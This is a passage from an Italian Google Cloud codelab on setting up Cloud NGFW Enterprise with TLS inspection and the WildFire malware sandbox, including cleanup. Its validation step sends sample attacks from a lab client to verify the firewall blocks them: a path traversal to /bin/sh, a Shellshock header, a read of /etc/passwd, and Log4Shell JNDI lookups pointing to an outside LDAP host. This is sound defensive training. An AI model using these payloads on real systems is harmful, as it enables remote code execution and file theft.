      -----END CERTIFICATE-----

Importa la configurazione di attendibilità:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Aggiorna il file YAML della policy TLS in modo da includere la configurazione di attendibilità:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importa la policy TLS aggiornata:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Convalida dell'ispezione TLS E/W

Accedi nuovamente al client tramite SSH per testare il traffico E/O con la configurazione di attendibilità aggiornata:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Esegui la richiesta TLS di esempio al server:

curl https://$target_privateip --max-time 2

Se ricevi ancora l'output riportato di seguito, attendi la propagazione degli aggiornamenti.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Output previsto:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Invia traffico di test dannoso al server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Output previsto:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Non vengono ricevute risposte come previsto dall'output di seguito, a conferma che gli attacchi di esempio sono ora bloccati per il traffico est/ovest.

13. Logging

Vai a Logging > Esplora log tramite la console Cloud, inserisci il filtro di seguito ed esegui una query sui log. Sostituisci [PROJECT_ID] con il tuo project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Le voci di log di Cloud NGFW Enterprise dovrebbero essere visualizzate in modo simile a quanto riportato di seguito:

5b68cc1063c0f4bd.png

Espandi le voci di log e nota che gli attacchi inviati dalla VM client al server sono stati identificati e bloccati (Apache Log4j Remote Code Execution Vulnerability come nello screenshot di seguito).

478f18f8481e90ed.png

Hai eseguito il deployment di Cloud NGFW Enterprise con l'ispezione TLS per bloccare le richieste dannose.

Vai alla sezione successiva per configurare e convalidare facoltativamente la Sandbox avanzata per malware (WildFire) oppure vai direttamente ai passaggi di pulizia.

14. [Facoltativo] Configura la sandbox avanzata per malware (WildFire)

La sandbox avanzata per malware (WildFire) estende la prevenzione delle minacce di Cloud NGFW Enterprise ispezionando i file in transito e inviando i file sconosciuti a una sandbox basata su cloud (basata su Palo Alto Networks Advanced WildFire) per un'analisi comportamentale approfondita.

Accetta il Contratto di licenza con l'utente finale (EULA) della sandbox avanzata per malware

Prima di abilitare la sandbox avanzata per malware su un endpoint firewall, devi rivedere e accettare il Contratto di licenza con l'utente finale (EULA) una tantum nel progetto di fatturazione ($billing_project). L'EULA può essere accettato solo nella console Google Cloud: vai a Sicurezza di rete > Endpoint firewall, modifica l'endpoint $prefix-$zone, seleziona Abilita sandbox avanzata per malware (WildFire) in Configurazione avanzata e fai clic su Accetta e continua.

Attiva la sandbox avanzata per malware sull'endpoint firewall

Abilita la sandbox avanzata per malware sull'endpoint firewall $prefix-$zone esistente utilizzando gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

Verifica che la sandbox avanzata per malware sia abilitata sull'endpoint firewall:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

Output previsto (verifica wildfireSettings: enabled: true e state: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

Creare e configurare ilWILDFIRE_ANALYSIS Profilo di sicurezza

Crea un profilo di sicurezza della sandbox avanzata per malware (WILDFIRE_ANALYSIS) denominato $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Output previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

Successivamente, aggiungi una regola di invio asincrono per inviare i file APK sia in caricamento che in download (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

Output previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

Esamina il profilo di sicurezza WILDFIRE_ANALYSIS configurato:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Output previsto:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

Aggiorna il gruppo di profili di sicurezza ($prefix-spg)

Aggiorna $prefix-spg per collegare $prefix-sp-wildfire:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

Output previsto:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

Poiché la regola della policy del firewall 900 (EGRESS su tcp:443 con --action=apply_security_profile_group e --tls-inspect) fa già riferimento a $prefix-spg, i download di file HTTPS crittografati avviati da $prefix-$zone-client vengono decrittografati automaticamente dall'ispezione TLS e valutati dalla Sandbox avanzata per malware senza richiedere modifiche alle regole della policy del firewall.

15. [Facoltativo] Convalida l'invio di file e l'analisi forense della sandbox avanzata per malware

Testa l'invio asincrono alla sandbox e il filtro dei tipi di file

Connettiti alla VM client ($prefix-$zone-client) tramite Identity-Aware Proxy (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Dalla VM client, scarica il file di test pubblico APK di Palo Alto Networks tramite HTTPS:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

Successivamente, scarica il file di test pubblico ELF di Palo Alto Networks tramite HTTPS:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

Poiché la nostra regola di invio in $prefix-sp-wildfire ha come target solo i file APK (--file-types=APK), il firewall non invia il file ELF alla sandbox avanzata per malware.

Esci dal terminale della VM client e torna a Cloud Shell.

Verifica WildfireSubmissionLog in Cloud Logging

Vai a Logging > Esplora log tramite la console Cloud, inserisci il filtro di seguito ed esegui una query sui log. Sostituisci [PROJECT_ID] con il tuo project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

Al termine dell'analisi sandbox (in genere entro pochi minuti), viene visualizzata una voce WildfireSubmissionLog per il download del file APK, mentre non viene generato alcun log di invio per il download del file ELF (se non viene visualizzata alcuna voce di log dopo diversi minuti, attendi il completamento della finestra di propagazione del gruppo di profili di sicurezza di 15 minuti ed esegui nuovamente il download di curl). Espandi la voce di log e tieni presente che il payload JSON è simile al seguente:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

Prendi nota dei campi chiave in wildfireDetails:

  • fileType: "APK" e subtype: "WILDFIRE" confermano l'analisi asincrona della sandbox del trasferimento APK.
  • file è il nome file fornito dal server (wildfire-test-apk-file.apk), che potrebbe essere diverso dal nome file locale utilizzato con curl -o.
  • hash identifica il digest SHA-256 univoco del campione di test.
  • verdict e severity sono determinati dall'analisi della sandbox.
  • reportUri e sampleUri forniscono link diretti per recuperare il report di analisi dinamica e il sample inviato.

Visualizza l'invio e scarica gli artefatti forensi

Vai a Sicurezza di rete > Log NGFW Enterprise > Invii alla sandbox avanzata per malware tramite la console Cloud e seleziona il tuo progetto. Fai clic sulla voce wildfire-test-apk-file.apk per visualizzare i dettagli dell'invio, tra cui l'hash SHA-256 del file, l'esito e l'endpoint del firewall. Da Altre azioni per l'invio, puoi selezionare Scarica report di analisi per scaricare il report di analisi dinamica in formato PDF o Scarica campione di malware per scaricare il file inviato.

In alternativa, puoi scaricare il report di analisi e l'esempio da Cloud Shell utilizzando i valori reportUri e sampleUri della voce WildfireSubmissionLog:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. Procedura per la pulizia

Pulizia della configurazione di base

Rimuovi le istanze:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Esegui i passaggi riportati di seguito se i ruoli tagAdmin e tagUsers sono stati modificati:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Rimuovi la chiave e i valori dei tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Rimuovi la policy di rete e l'associazione di Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Elimina il router Cloud e Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Elimina gli indirizzi IP prenotati:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association, and TLS Clean-Up

Elimina il gruppo di profili di sicurezza e i profili di sicurezza in questo ordine (se hai completato la sezione facoltativa Sandbox avanzata per malware, esegui anche il comando per eliminare $prefix-sp-wildfire dopo l'eliminazione di $prefix-spg):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Elimina l'associazione dell'endpoint Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Elimina l'endpoint Cloud Firewall, operazione che può richiedere circa 20 minuti:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Facoltativamente, verifica che l'endpoint Cloud NGFW sia stato eliminato eseguendo il comando seguente:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Lo stato dell'endpoint dovrebbe essere:

STATE: DELETING

Al termine, l'endpoint non verrà più elencato.

Elimina la policy TLS e la configurazione di attendibilità in questo ordine:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Disabilita ed elimina la CA radice e il pool di CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Pulizia di subnet e VPC

Infine, elimina la subnet e la rete VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. Complimenti!

Complimenti, hai completato il codelab su Cloud NGFW Enterprise per l'ispezione TLS est-ovest e nord.